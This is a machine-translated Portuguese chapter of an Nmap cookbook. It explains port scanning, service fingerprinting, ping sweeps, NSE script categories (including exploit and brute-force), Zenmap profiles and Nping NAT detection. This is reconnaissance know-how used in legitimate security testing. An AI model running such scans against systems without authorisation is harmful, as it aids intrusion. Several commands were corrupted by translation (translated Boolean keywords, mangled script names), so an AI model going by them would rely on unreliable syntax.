Machine Translated by Google

Capítulo 1

Listando portas abertas em um host remoto


Esta receita descreve a maneira mais simples de usar o Nmap para determinar os estados da porta em um
host remoto, um processo usado para identificar serviços em execução comumente referidos como varredura de porta.

Como fazer isso...


1. Abra um terminal.

2. Digite o seguinte comando:

$ nmap scanme.nmap.org

Os resultados da varredura devem aparecer na tela, mostrando as portas de interesse e seus estados.
As portas marcadas como abertas são de interesse especial, pois representam serviços em execução
no host de destino.

Como funciona...
O comando a seguir verifica o estado das portas mais populares no host scanme. nmap.org iniciando uma
varredura de porta TCP:

$ nmap scanme.nmap.org

Os resultados contêm informações de host, como endereço IPv4 e registro PTR, e informações de porta,
como nome de serviço e estado da porta.

17

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Tem mais...
Mesmo para esta varredura de porta mais simples, o Nmap faz muitas coisas em segundo plano, e elas também podem
ser configuradas.

O Nmap começa convertendo o nome do host em um endereço IPv4 usando DNS. Se você deseja usar um servidor
DNS diferente, use --dns-servers <serv1[,serv2],...> ou use-n se quiser pular esta etapa, como segue:

$ nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org

Em seguida, faz ping no endereço de destino para verificar se o host está ativo. Para pular esta etapa, use –
PN da seguinte forma:

$ nmap -PN scanme.nmap.org

O Nmap então converte o endereço IPv4 de volta em um nome de host usando uma chamada DNS reversa. Use -n
para pular esta etapa da seguinte maneira:

$ nmap -n scanme.nmap.org

Por fim, ele inicia uma varredura de porta TCP. Para especificar um intervalo de porta diferente, use -p[1-65535] ou
-p- para todas as portas TCP possíveis, conforme mostrado no seguinte comando:

$ nmap -p1-30 scanme.nmap.org

Privilegiado versus não privilegiado A execução do

nmap <TARGET> como um usuário privilegiado inicia o SYN Stealth Scan. Para contas sem privilégios que
não podem criar pacotes brutos, o TCP Connect Scan é usado.

A diferença entre esses dois é que um TCP Connect Scan usa a chamada de sistema de alto nível connect para
obter informações sobre o estado da porta. Isso significa que cada conexão TCP está totalmente concluída e, portanto, é
mais lenta e mais provável de ser detectada e registrada nos logs do sistema. SYN Stealth Scans usam pacotes brutos
para enviar pacotes TCP especialmente criados que detectam os estados das portas de forma mais confiável.

Estados da porta
O Nmap categoriza as portas nos seguintes estados:

O tipo de pacote enviado depende da(s) técnica(s) de varredura usada(s).

f Aberto: Isso indica que um aplicativo está escutando conexões nesta porta.

f Fechado: Isso indica que as sondas foram recebidas, mas não há aplicativo
ouvindo nesta porta.

18

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

f Filtrado: indica que as sondas não foram recebidas e o estado não pôde ser estabelecido. Também indica
que as sondas estão sendo descartadas por algum tipo de filtragem. f Não filtrado: indica que as
sondagens foram recebidas, mas não foi possível

ser estabelecido.

f Open/Filtered: Isso indica que a porta foi filtrada ou aberta, mas o Nmap não conseguiu
estabelecer o estado.

f Fechado/Filtrado: Isso indica que a porta foi filtrada ou fechada, mas o Nmap
não poderia estabelecer o estado.

Técnicas de varredura de portas suportadas pelo Nmap Mostramos a maneira


mais simples de realizar uma varredura de portas, mas o Nmap tem um grande número de técnicas avançadas
de varredura disponíveis. Use nmap -h ou visite http://nmap.org/book/man-port-scanning-techniques.html para saber
mais sobre eles.

Veja também

f Os serviços de impressão digital de uma receita de host remoto f A


receita para encontrar hosts ativos em sua rede f A receita para
escanear usando intervalos de portas específicos f A receita para
escanear usando uma interface de rede especificada f A receita para gerenciar
diferentes perfis de escaneamento com Zenmap f Os servidores de monitoramento
remotamente Receita Nmap e Ndiff f A receita Excluir hosts de suas varreduras no
Capítulo 2, Exploração de Rede f A receita Varredura de endereços IPv6 no Capítulo 2, Exploração de
Rede f A Impressão digital do sistema operacional de uma receita de host no Capítulo 3,

Coletando informações adicionais do host


f A receita Descobrindo serviços UDP no Capítulo 3, Reunindo dados adicionais
Informações do host

f Os protocolos de listagem suportados por uma receita de host remoto no Capítulo 3,


Coletando informações adicionais do host

Serviços de impressão digital de um host remoto


A detecção de versão é um dos recursos mais populares do Nmap. Saber a versão exata de um serviço é altamente
valioso para testadores de penetração que usam esse serviço para procurar vulnerabilidades de segurança e para
administradores de sistema que desejam monitorar suas redes em busca de alterações não autorizadas. A impressão
digital de um serviço também pode revelar informações adicionais sobre um destino, como módulos disponíveis e
informações de protocolo específicas.

Esta receita descreve como identificar os serviços de um host remoto usando o Nmap.

19

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$ nmap -sV scanme.nmap.org

O resultado deste comando é uma tabela contendo uma coluna adicional chamada VERSION, exibindo a
versão específica do serviço, se identificada. Informações adicionais serão colocadas entre parênteses.
Consulte a seguinte captura de tela:

Como funciona...
O sinalizador -sV ativa a detecção do serviço, que retorna informações adicionais sobre o
serviço e a versão.

A detecção de serviço é um dos recursos mais amados do Nmap, pois é muito útil em muitas situações,
como identificar vulnerabilidades de segurança ou garantir que um serviço esteja sendo executado em
uma determinada porta.

Esse recurso basicamente funciona enviando diferentes sondas de nmap-service-probes para a lista de
portas abertas suspeitas. As sondagens são selecionadas com base na probabilidade de serem usadas para
identificar um serviço.

Há uma documentação muito detalhada sobre como funciona o modo de detecção de serviço e os formatos
de arquivo usados em http://nmap.org/book/vscan.html.

20

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

Tem mais...
Você pode definir a quantidade de sondas a serem usadas alterando o nível de intensidade da varredura com o
argumento –-version-intensity [0-9], da seguinte forma:

# nmap -sV –-version-intensity 9

Detecção agressiva O Nmap tem um


sinalizador especial para ativar a detecção agressiva, ou seja, -A. O modo agressivo ativa a detecção de SO
(-O), detecção de versão (-sV), varredura de script (-sC) e traceroute (--traceroute). Desnecessário dizer que esse
modo envia muito mais sondagens e é mais provável que seja detectado, mas fornece muitas informações valiosas
do host. Você pode ver isso usando um dos seguintes comandos:

# nmap -A <alvo>

Ou

# nmap -sC -sV -O <alvo>

21

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Envio de impressões digitais de serviço A precisão do


Nmap vem de um banco de dados que foi coletado ao longo dos anos por meio de envios de usuários. É muito importante
que ajudemos a manter esta base de dados atualizada. Se o Nmap não identificar o serviço corretamente, envie sua
nova impressão digital do serviço ou correção para http://insecure.org/cgi-bin/submit.cgi?.

Veja também

f As portas abertas da listagem em uma receita de host remoto

f A receita Encontrando hosts ativos em sua rede f A receita

Varredura usando intervalos de portas específicos f A receita

Varredura usando uma interface de rede especificada

f A receita Gerenciando vários perfis de varredura com Zenmap f A receita

Monitorando servidores remotamente com Nmap e Ndiff f A receita Ocultando nosso

tráfego com dados aleatórios adicionais no Capítulo 2,


Exploração de rede

f A receita de varredura de endereços IPv6 no Capítulo 2, Exploração de rede f A receita de

obtenção de informações de registros WHOIS no Capítulo 3, Coleta


Informações Adicionais do Anfitrião

f A receita de registros DNS de força bruta no Capítulo 3, Reunindo host adicional


Informação

f A impressão digital do sistema operacional de uma receita de host no Capítulo 3, Coletando


Informações Adicionais do Anfitrião

Encontrando hosts ativos em sua rede


Encontrar hosts ativos em uma rede é frequentemente usado por testadores de penetração para enumerar alvos
ativos e por administradores de sistema para contar ou monitorar o número de hosts ativos.

Esta receita descreve como executar uma varredura de ping para encontrar hosts ativos em uma rede
usando o Nmap.

Como fazer isso...

Abra seu terminal e digite o seguinte comando:

$ nmap -sP 192.168.1.1/24

22

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

O resultado mostra os hosts que estão online e responderam à varredura de ping.

Relatório de verificação do Nmap para 192.168.1.102

O host está ativo.

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0027s).

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Nmap concluído: 256 endereços IP (2 hosts acima) verificados em 10,18 segundos

Nesse caso, encontramos dois hosts ativos na rede. O Nmap também encontrou o endereço MAC e identificou
o fornecedor de um roteador doméstico.

Como funciona...
O Nmap usa o sinalizador -sP para varredura de ping. Esse tipo de varredura é muito útil para enumerar os
hosts em uma rede. Ele usa um pacote TCP ACK e uma solicitação de eco ICMP se executado como um
usuário privilegiado, ou um pacote SYN enviado via syscall connect() se executado por usuários que não
podem enviar pacotes brutos.

CIDR /24 em 192.168.1.1/24 é usado para indicar que queremos varrer todos os 256 IPs em nossa rede.

Tem mais...
As solicitações ARP são usadas ao varrer uma rede Ethernet local como um usuário privilegiado, mas
você pode substituir esse comportamento incluindo o sinalizador --send-ip.

# nmap -sP --send-ip 192.168.1.1/24

Traceroute
Use --traceroute para incluir um caminho entre sua máquina e cada host encontrado.

Relatório de verificação do Nmap para 192.168.1.101

O host está ativo (latência de 0,062s).

Endereço MAC: 00:23:76:CD:C5:BE (HTC)

TRACEROUTE

HOP RTT ENDEREÇO

1 61,70ms 192.168.1.101

23

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Relatório de verificação do Nmap para 192.168.1.102

O host está ativo.

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0044s).

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

TRACEROUTE

HOP RTT ENDEREÇO

1 4,40 ms 192.168.1.254

Nmap concluído: 256 endereços IP (3 hosts acima) verificados em 10,03 segundos

A varredura de
ping de scripts NSE não executa varredura de porta ou detecção de serviço, mas o Nmap
Scripting Engine pode ser ativado para scripts dependendo das regras do host, como os
casos de detecção de farejador e dns bruto.

# nmap -sP --script discovery 192.168.1.1/24

Resultados do script de pré-varredura: |

ping de transmissão:

|_ Use o script-arg newtargets para adicionar os resultados como alvos

Relatório de verificação do Nmap para 192.168.1.102

O host está ativo.

Resultados do script de host:

|_dns-brute: Não é possível adivinhar o domínio de "192.168.1.102"; use o argumento de script dns-brute.domain.

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0023s).

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Resultados do script de host:

24

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

|_dns-brute: Não é possível adivinhar o domínio de "192.168.1.254"; use o argumento de script dns-
brute.domain.

|_sniffer-detect: Provavelmente em modo promíscuo (testes: "11111111")

Nmap concluído: 256 endereços IP (2 hosts acima) verificados em 14,11 segundos

Veja também

f A receita de execução de scripts NSE

f A receita de descoberta de hosts usando pings de transmissão no Capítulo 2, Exploração de rede f A receita de

descoberta de hosts com varreduras de ping TCP SYN no capítulo 2,


Exploração de rede

f A receita de varreduras de descoberta de hosts com ping TCP ACK no Capítulo 2,


Exploração de rede

f A receita Descoberta de hosts com varreduras de ping ICMP no Capítulo 2, Exploração de Rede f A receita Coleta

de informações de rede com scripts de transmissão no Capítulo 2,


Exploração de rede

f A descoberta de nomes de host apontando para a mesma receita de IP no Capítulo 3, Coletando


Informações Adicionais do Anfitrião

f A receita de registros DNS de força bruta no Capítulo 3, Coletando dados adicionais


Informações do host

f A falsificação do IP de origem de uma receita de varredura de porta no Capítulo 3, Coletando dados adicionais
Informações do host

Escaneamento usando intervalos de portas específicos


Há situações em que um administrador de sistema está procurando por máquinas infectadas que usam uma porta
específica para se comunicar, ou quando os usuários estão procurando apenas por um serviço específico ou porta
aberta e realmente não se importam com o resto. Restringir os intervalos de portas usados também otimiza o desempenho,
o que é muito importante ao escanear vários alvos.

Esta receita descreve como usar intervalos de portas ao executar varreduras do Nmap.

Como fazer isso...

Abra seu terminal e digite o seguinte comando:

# nmap -p80 192.168.1.1/24

25

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Uma lista de hosts com o estado da porta 80 aparecerá nos resultados.

Relatório de verificação do Nmap para 192.168.1.102

O host está ativo (latência de 0,000079s).


SERVIÇO DO ESTADO DO PORTO

80/tcp http fechado

Relatório de verificação do Nmap para 192.168.1.103

O host está ativo (latência de 0,016s).


SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

Endereço MAC: 00:16:6F:7E:E0:B6 (Intel)

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0065s).


SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Nmap concluído: 256 endereços IP (3 hosts acima) verificados em 8,93 segundos

Como funciona...
O Nmap usa o sinalizador -p para definir os intervalos de portas a serem verificados. Este sinalizador pode ser
combinado com qualquer método de digitalização. No exemplo anterior, usamos o argumento -p80 para indicar
ao Nmap que estamos interessados apenas na porta 80.

O CIDR /24 em 192.168.1.1/24 é usado para indicar que queremos varrer todos os 256 IPs em nossa rede.

Tem mais...
Existem vários formatos aceitos para o argumento -p:

f Lista de portas:

# nmap -p80,443 localhost

26

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

f Intervalo de portas:

# nmap -p1-100 localhost

f Todas as portas:

# nmap -p- localhost

f Portas específicas por protocolos:

# nmap -pT:25,U:53 <alvo>

f Nome do serviço:

# nmap -p smtp <destino>

f Caracteres curinga do nome do serviço:

# nmap -p smtp* <alvo>

f Somente portas registradas nos serviços Nmap:

# nmap -p[1-65535] <alvo>

Veja também

f A receita Encontrando hosts ao vivo em sua rede

f As portas abertas da listagem em uma receita de host remoto

f A receita de digitalização usando uma interface de rede especificada

f A receita de execução de scripts NSE f A

receita de Ocultar nosso tráfego com dados aleatórios adicionais no Capítulo 2,


Exploração de rede

f A receita Forçando a resolução de DNS no Capítulo 2, Exploração de rede

f A receita Excluindo hosts de suas varreduras no Capítulo 2, Exploração de rede f A receita Varredura de

endereços IPv6 no Capítulo 2, Exploração de rede

f Os protocolos de listagem suportados por uma receita de host remoto no Capítulo 3,


Coletando informações adicionais do host

Executando scripts NSE


Os scripts NSE são muito poderosos e se tornaram um dos principais pontos fortes do Nmap, executando tarefas desde a
detecção avançada de versões até a exploração de vulnerabilidades.

A receita a seguir descreve como executar scripts NSE e as diferentes opções disponíveis para esse mecanismo.

27

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Como fazer isso...


Para incluir o título do documento de índice de um servidor web em seus resultados de verificação, abra seu
terminal e digite o seguinte comando:

$ nmap -sV --script http-title scanme.nmap.org

Como funciona...
O argumento --script define quais scripts NSE devem ser executados com a verificação. Nesse caso,
quando a verificação do serviço detecta o servidor da Web, um encadeamento paralelo é inicializado para
o script NSE selecionado.

Existem mais de 230 scripts disponíveis, que executam uma ampla variedade de tarefas. O script NSE
http-title retorna o título do documento raiz se um servidor web for detectado.

Tem mais...
Você pode executar vários scripts ao mesmo tempo:

$ nmap --script http-headers,http-title scanme.nmap.org


Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)
O host está ativo (latência de 0,096s).
Não mostrado: 995 portas fechadas
PORTA ESTADO SERVIÇO

22/tcp aberto 25/ ssh


tcp smtp filtrado 80/tcp aberto
http

28

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

| cabeçalhos http: |
Data: segunda-feira, 24 de outubro de 2011 07:12:09 GMT
Servidor: Apache/2.2.14
| | Aceitar-Intervalos: (Grátis)
bytes | Variar: Aceitar-codificação |
Conexão: fechar | Tipo de conteúdo: texto/html | |_ (Tipo
de solicitação: HEAD) |_http-title: Vá em frente e ScanMe!
646/tcp filtrado ldp 9929/tcp aberto nping-echo

Além disso, os scripts NSE podem ser selecionados por categoria, expressão ou pasta:

f Execute todos os scripts na categoria vuln :


$ nmap -sV --script vuln <alvo>

f Execute os scripts nas categorias versão ou descoberta:


$ nmap -sV --script="version,discovery" <alvo>

f Execute todos os scripts, exceto os da categoria exploit :


$ nmap -sV --script "não explorar" <alvo>

f Execute todos os scripts HTTP, exceto http-brute e http-slowloris:

$ nmap -sV --script "(http-*) e não(http-slowloris or http brute)" <alvo>

Para depurar scripts, use --script-trace. Isso permite um rastreamento de pilha do script executado para
ajudá-lo a depurar a sessão. Lembre-se que às vezes você pode precisar aumentar o nível de depuração
com o sinalizador -d[1-9] para chegar ao fundo do problema:

$ nmap -sV –-script exploit -d3 --script-trace 192.168.1.1

Argumentos de script NSE O


sinalizador --script-args é usado para definir argumentos de scripts NSE. Por exemplo, se você
gostaria de definir o useragent do argumento da biblioteca HTTP, você usaria:

$ nmap -sV --script http-title --script-args http.useragent="Mozilla 999" <alvo>

Você também pode usar aliases ao definir os argumentos para scripts NSE. Por exemplo, você
poderia usar

$ nmap -p80 --script http-trace --script-args path <alvo>

29

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Em vez de:

$ nmap -p80 --script http-trace --script-args http-trace.path <alvo>

Adicionando novos scripts


Para testar novos scripts, basta copiá-los para o diretório /scripts e executar o seguinte comando para atualizar o
banco de dados de scripts:

# nmap --script-update-db

categorias de script NSE


f auth: Esta categoria é para scripts relacionados à autenticação do usuário. f broadcast:

Esta é uma categoria muito interessante de scripts que usam petições de broadcast para coletar
informações.

f bruto: Esta categoria é para scripts que ajudam a realizar auditoria de senha de força bruta.
f padrão: esta categoria é para scripts que são executados quando uma varredura de script
é executada (-sC).
f descoberta: esta categoria é para scripts relacionados à descoberta de host e serviço. f dos: Esta

categoria é para scripts relacionados a ataques de negação de serviço. f exploit: Esta categoria é para

scripts que exploram vulnerabilidades de segurança. f externo: Esta categoria é para scripts que

dependem de um serviço de terceiros. f fuzzer: Esta categoria é para scripts NSE focados em fuzzing. f

intrusivo: esta categoria é para scripts que podem travar algo ou gerar muito ruído na rede. Os scripts

que os administradores de sistema podem considerar intrusivos pertencem a esta categoria.

f malware: esta categoria é para scripts relacionados à detecção de malware.

f seguro: Esta categoria é para scripts considerados seguros em todas as situações. versão f : esta

categoria é para scripts usados para controle de versão avançado. f vuln: Esta categoria é para scripts

relacionados a vulnerabilidades de segurança.

Veja também

f A receita Gerenciando diferentes perfis de varredura com Zenmap f A receita

Monitorando servidores remotamente com Nmap e Ndiff f Os serviços de impressão

digital de uma receita de host remoto f A receita Encontrando hosts ativos em sua

rede

f A receita Coletando informações de rede com scripts de transmissão no Capítulo 2,


Exploração de rede

f A receita Coletando contas de e-mail válidas no Capítulo 3, Coletando informações adicionais


Informações do host

30

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

f A descoberta de nomes de host apontando para a mesma receita de IP no Capítulo 3,


Coletando informações adicionais do host
f A receita de registros DNS de força bruta no Capítulo 3, Coletando dados adicionais
Informações do host

Digitalizando usando uma interface de


rede especificada
O Nmap é conhecido por sua flexibilidade e permite que os usuários especifiquem a interface de rede usada durante a
digitalização. Isso é muito útil ao executar alguns dos scripts sniffer NSE, descobrindo se sua interface oferece suporte
ao modo promíscuo ou ao testar uma conexão de rede com problemas de roteamento.

A seguinte receita descreve como forçar o Nmap a escanear usando uma interface de rede especificada.

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

$ nmap -e <INTERFACE> scanme.nmap.org

Isso forçará o Nmap a executar uma varredura TCP de scanme.nmap.org usando a interface
<INTERFACE>.

31

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Como funciona...
O sinalizador -e é usado para definir uma interface de rede específica quando o Nmap não consegue
selecionar uma automaticamente. A existência deste sinalizador permite que o Nmap envie e receba pacotes
através de uma interface alternativa.

Tem mais...
Se você precisar selecionar sua interface manualmente, verá a seguinte mensagem:

AVISO: Não é possível encontrar a interface apropriada para a rota do sistema para ...

Verificando uma conexão TCP


Para verificar se uma interface de rede pode se comunicar com sua rede, você pode tentar uma verificação
de ping que força o Nmap a usar uma interface especificada:

$ nmap -sP -e INTERFACE 192.168.1.254


--------------- Relatório de tempo ---------------
grupos de hosts: min 1, max 100000
rtt-timeouts: init 1000, min 100, max 10000

max-scan-delay: TCP 1000, UDP 1000, SCTP 1000


paralelismo: min 0, max 0
tentativas máximas: 10, tempo limite do host: 0

taxa mínima: 0, taxa máxima: 0


---------------------------------------------

Iniciando ARP Ping Scan às 02:46


Digitalizando 192.168.1.254 [1 porta]
Filtro de captura de pacotes (dispositivo wlan2): arp e arp[18:4] = 0x00C0CA50 e arp[22:2] = 0xE567

Varredura ARP Ping concluída às 02:46, 0,06s decorridos (1 total de hosts)


Taxas gerais de envio: 16,76 pacotes/s, 704,05 bytes/s.

mass_rdns: Usando servidor DNS 192.168.1.254


Iniciando resolução de DNS paralelo de 1 host. às 02:46

mass_rdns: 0,03s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]


Resolução de DNS paralelo concluída de 1 host. às 02:46, 0,03s decorrido
A resolução de DNS de 1 IP levou 0,03s. Modo: Assíncrono [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]

Relatório de verificação do Nmap para 192.168.1.254

32

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

O host está ativo, recebeu resposta arp (latência de 0,0017s).

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Tempos finais para host: srtt: 1731 rttvar: 5000 a: 100000

Leia em /usr/local/bin/../share/nmap: nmap-mac-prefixes nmap-payloads.

Nmap concluído: 1 endereço IP (1 host ativado) verificado em 0,17 segundos

Pacotes brutos enviados: 1 (28B) | Recebido: 1 (28B)

Veja também

f A receita de execução de scripts NSE f A

receita de varredura usando intervalos de porta específicos

f A receita Ocultando nosso tráfego com dados aleatórios adicionais no Capítulo 2, Rede
Exploração

f A receita Forçando a resolução de DNS no Capítulo 2, Exploração de rede f A receita

Excluindo hosts de suas varreduras no Capítulo 2, Exploração de rede

f A receita de registros DNS de força bruta no Capítulo 3, Reunindo host adicional


Informação

f A impressão digital do sistema operacional de uma receita de host no Capítulo 3, Coletando


Informações Adicionais do Anfitrião

f A receita Descobrindo serviços UDP no Capítulo 3, Reunindo host adicional


Informação

f A lista de protocolos suportados por uma receita de host remoto no Capítulo 3, Reunindo
Informações Adicionais do Anfitrião

Comparando os resultados da verificação com o Ndiff

O Ndiff foi projetado para resolver os problemas do uso de diff com dois resultados de varredura XML. Ele compara
arquivos removendo falsos positivos e produzindo uma saída mais legível, o que é perfeito para quem precisa acompanhar
os resultados da verificação.

Esta receita descreve como comparar duas varreduras do Nmap para detectar as alterações em um host.

Preparando-se

O Ndiff requer dois arquivos Nmap XML para funcionar, portanto, certifique-se de ter salvo anteriormente os resultados
da verificação do mesmo host. Caso contrário, você sempre pode escanear sua própria rede, desativar um serviço e
escanear novamente para obter esses dois arquivos de teste. Para salvar os resultados de uma varredura do Nmap em
um arquivo XML, use -oX <nome do arquivo>.

33

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Como fazer isso...


1. Abra seu terminal.

2. Digite o seguinte comando:


$ ndiff ARQUIVO1 ARQUIVO2

3. A saída retorna todas as diferenças entre FILE1 e FILE2. Novas linhas são
mostrado após um sinal de mais. As linhas que foram removidas no FILE2 são exibidas após um
sinal negativo.

Como funciona...
O Ndiff usa o primeiro arquivo como base para comparar com o segundo. Ele exibe as diferenças de
estado para detecção de host, porta, serviços e sistema operacional.

Tem mais...
Se preferir o Zenmap, você pode usar as seguintes etapas:

1. Inicie o Zenmap.
2. Clique em Ferramentas na barra de ferramentas principal.

3. Clique em Comparar resultados (Ctrl + D).

4. Selecione o primeiro arquivo clicando em Abrir na seção chamada Uma varredura.

34

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

5. Selecione o segundo arquivo clicando em Abrir na seção chamada B scan.

Formato de saída Um
formato legível por humanos é retornado por padrão. No entanto, o Ndiff pode retornar as diferenças no formato XML,
se preferir, usando o sinalizador --xml.

modo verboso
O modo detalhado inclui todas as informações, incluindo hosts e portas que não foram alteradas.
Para usá-lo, digite os seguintes comandos:

$ ndiff -v ARQUIVO1 ARQUIVO2


$ ndiff –verbose ARQUIVO1 ARQUIVO2

Veja também

f A receita de monitoramento remoto de servidores com Nmap e Ndiff f A receita de

gerenciamento de vários perfis de varredura com o Zenmap f A receita de localização

geográfica de um endereço IP no Capítulo 3, Coletando informações adicionais


Informações do host

f A receita Obtendo informações de registros WHOIS no Capítulo 3, Coletando


Informações Adicionais do Anfitrião

35

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

f A impressão digital do sistema operacional de uma receita de host no Capítulo 3, Coletando


Informações Adicionais do Anfitrião

f A receita Descobrindo serviços UDP no Capítulo 3, Reunindo dados adicionais


Informações do host

f A receita Detectando possíveis vulnerabilidades XST no Capítulo 4, Auditoria de servidores da Web

Gerenciando vários perfis de digitalização com


Mapa Zen
Os perfis de varredura são uma combinação de argumentos do Nmap que podem ser usados para economizar
tempo e a necessidade de lembrar os nomes dos argumentos ao iniciar uma varredura do Nmap.

Esta receita é sobre adicionar, editar e deletar um perfil de escaneamento no Zenmap.

Como fazer isso...


Vamos adicionar um novo perfil para escanear servidores da web:

1. Inicie o Zenmap.

2. Clique em Perfil na barra de ferramentas principal.

3. Clique em Novo Perfil ou Comando (Ctrl + P). O Editor de perfil será iniciado.

4. Insira um nome de perfil e uma descrição na guia Perfil .

5. Ative a detecção de versão e desative a resolução DNS reversa na guia Verificação .

6. Ative os seguintes scripts na guia Scripting :

mapa de host

contas-padrão-http

http-enum

http-favicon

cabeçalhos http

métodos http

http-trace

http-php-version

http-robots.txt

http-title

36

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

7. Em seguida, vá para a guia Target e clique em Ports to scan e digite 80, 443.
8. Salve suas alterações clicando em Salvar alterações.

Como funciona...
Depois de usar o editor para criar nosso perfil, ficamos com o seguinte comando Nmap:

$ nmap -sV -p 80,443 -T4 -n --script http-default-accounts,métodoshttp,http-php-version,http-


robots.txt,http-title,http-trace,http userdir-enum <target>

Usando o assistente de perfil , habilitamos a varredura de serviço (-sV), definimos as portas de


varredura para 80 e 443, definimos o modelo de tempo para 4 e selecionamos vários scripts
relacionados a HTTP para coletar o máximo de informações possível desta web servidor. E agora temos
esse perfil salvo para uma verificação rápida sem precisar digitar todos esses sinalizadores e opções novamente.

37

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Tem mais...

O Zenmap inclui 10 perfis de varredura predefinidos para ajudar os recém-chegados a se familiarizarem


com o Nmap. Eu recomendo que você os analise para entender as técnicas de varredura adicionais que
estão disponíveis para o Nmap, juntamente com algumas das combinações mais úteis de suas opções.

f Varredura intensa: nmap -T4 -A -v

f Varredura intensa mais UDP: nmap -sS -sU -T4 -A -v

f Varredura intensa, todas as portas TCP: nmap -p 1-65535 -T4 -A -v f Varredura

intensa, sem ping: nmap -T4 -A -v -Pn

f Verificação de ping: nmap -sn

f Verificação rápida: nmap -T4 -F f

Verificação rápida mais: nmap -sV -T4 -O -F –version-light

f Traceroute rápido: nmap -sn –traceroute

f Verificação regular: nmap f

Verificação abrangente lenta: nmap -sS -sU -T4 -A -v -PE -PP -PS80,443
-PA3389 -PU40125 -PY -g 53 --script padrão ou descoberta e seguro

Editando e excluindo um perfil de escaneamento Para


editar ou deletar um perfil de escaneamento, você precisa selecionar a entrada que deseja modificar
no menu suspenso Perfil . Clique em Perfil na barra de ferramentas principal e selecione Editar
perfil selecionado (Ctrl + E).

O editor será iniciado, permitindo que você edite ou exclua o perfil selecionado.

Veja também

f A listagem de portas abertas em uma receita de host remoto

f O servidor de impressão digital de uma receita de host remoto

f A receita Encontrando hosts ao vivo em sua rede

f A receita Varredura usando intervalos de portas específicos

f A receita Execução de scripts NSE

f A receita de digitalização de endereços IPv6 no Capítulo 2, Exploração de rede

f A receita Coletando informações de rede com scripts de transmissão no Capítulo 2,


Exploração de rede f A

receita de descoberta de serviços UDP no Capítulo 3, Reunindo dados adicionais


Informações do host

38

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

Detectando NAT com Nping


O Nping foi projetado para criação de pacotes e análise de tráfego e é perfeito para uma variedade
de tarefas de rede.

A receita a seguir apresentará o Nping mostrando como realizar a detecção de NAT com alguma
ajuda do protocolo Nping Echo.

Como fazer isso...


Abra um terminal e digite o seguinte comando:

# nping --ec "public" -c 1 echo.nmap.org

Isso resultará em um fluxo de saída semelhante ao exemplo a seguir:

O Nping retornará o tráfego de pacotes entre o cliente e o servidor Nping echo


echo.nmap.org:

Iniciando Nping 0.5.59BETA1 ( http://nmap.org/nping ) em 27/10/2011 16:59


PDT

SENT (1.1453s) ICMP 192.168.1.102 > 74.207.244.221 Solicitação de eco (tipo=8/ código=0) ttl=64 id=47754
iplen=28
CAPT (1.1929s) ICMP 187.136.56.27 > 74.207.244.221 Solicitação de eco (tipo=8/ código=0) ttl=57 id=47754
iplen=28
RCVD (1.2361s) ICMP 74.207.244.221 > 192.168.1.102 Resposta de eco (tipo=0/ código=0) ttl=53
id=37482 iplen=28

RTT máximo: 90,751ms | RTT mínimo: 90,751ms | Avg rtt: 90,751ms Pacotes brutos
enviados: 1 (28B) | Rcvd: 1 (46B) | Perdido: 0 (0,00%)| Ecoado: 1 (28B)

Tempo de transmissão: 0,00120s | Tx bytes/s: 23236.51 | Tx pacotes/s: 829,88 Rx time:


1,00130s | Rx bytes/s: 45,94 | Rx pacotes/s: 1,00
Nping concluído: 1 endereço IP pingado em 2,23 segundos

Anote o endereço de origem 192.168.1.102 no primeiro pacote marcado como SENT.

SENT (1.1453s) ICMP 192.168.1.102 > 74.207.244.221 Solicitação de eco (tipo=8/


código=0) ttl=64 id=47754 iplen=28

Compare este endereço com o endereço de origem no segundo pacote marcado como CAPT.

CAPT (1.1929s) ICMP 187.136.56.27 > 74.207.244.221 Solicitação de eco (tipo=8/ código=0) ttl=57 id=47754
iplen=28

Os endereços são diferentes, indicando a presença de NAT.

39

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Como funciona...
O modo de eco do Nping foi projetado para ajudar a solucionar problemas de firewall e roteamento.
Basicamente, ele retorna uma cópia do pacote recebido ao cliente.

O comando é:

# nping --ec "public" -c 1 echo.nmap.org

Ele usa o modo de eco do Nping (--ec ou --echo-client) para nos ajudar a analisar o tráfego entre o
servidor Nping echo do Nmap, para determinar se há um dispositivo NAT na rede.
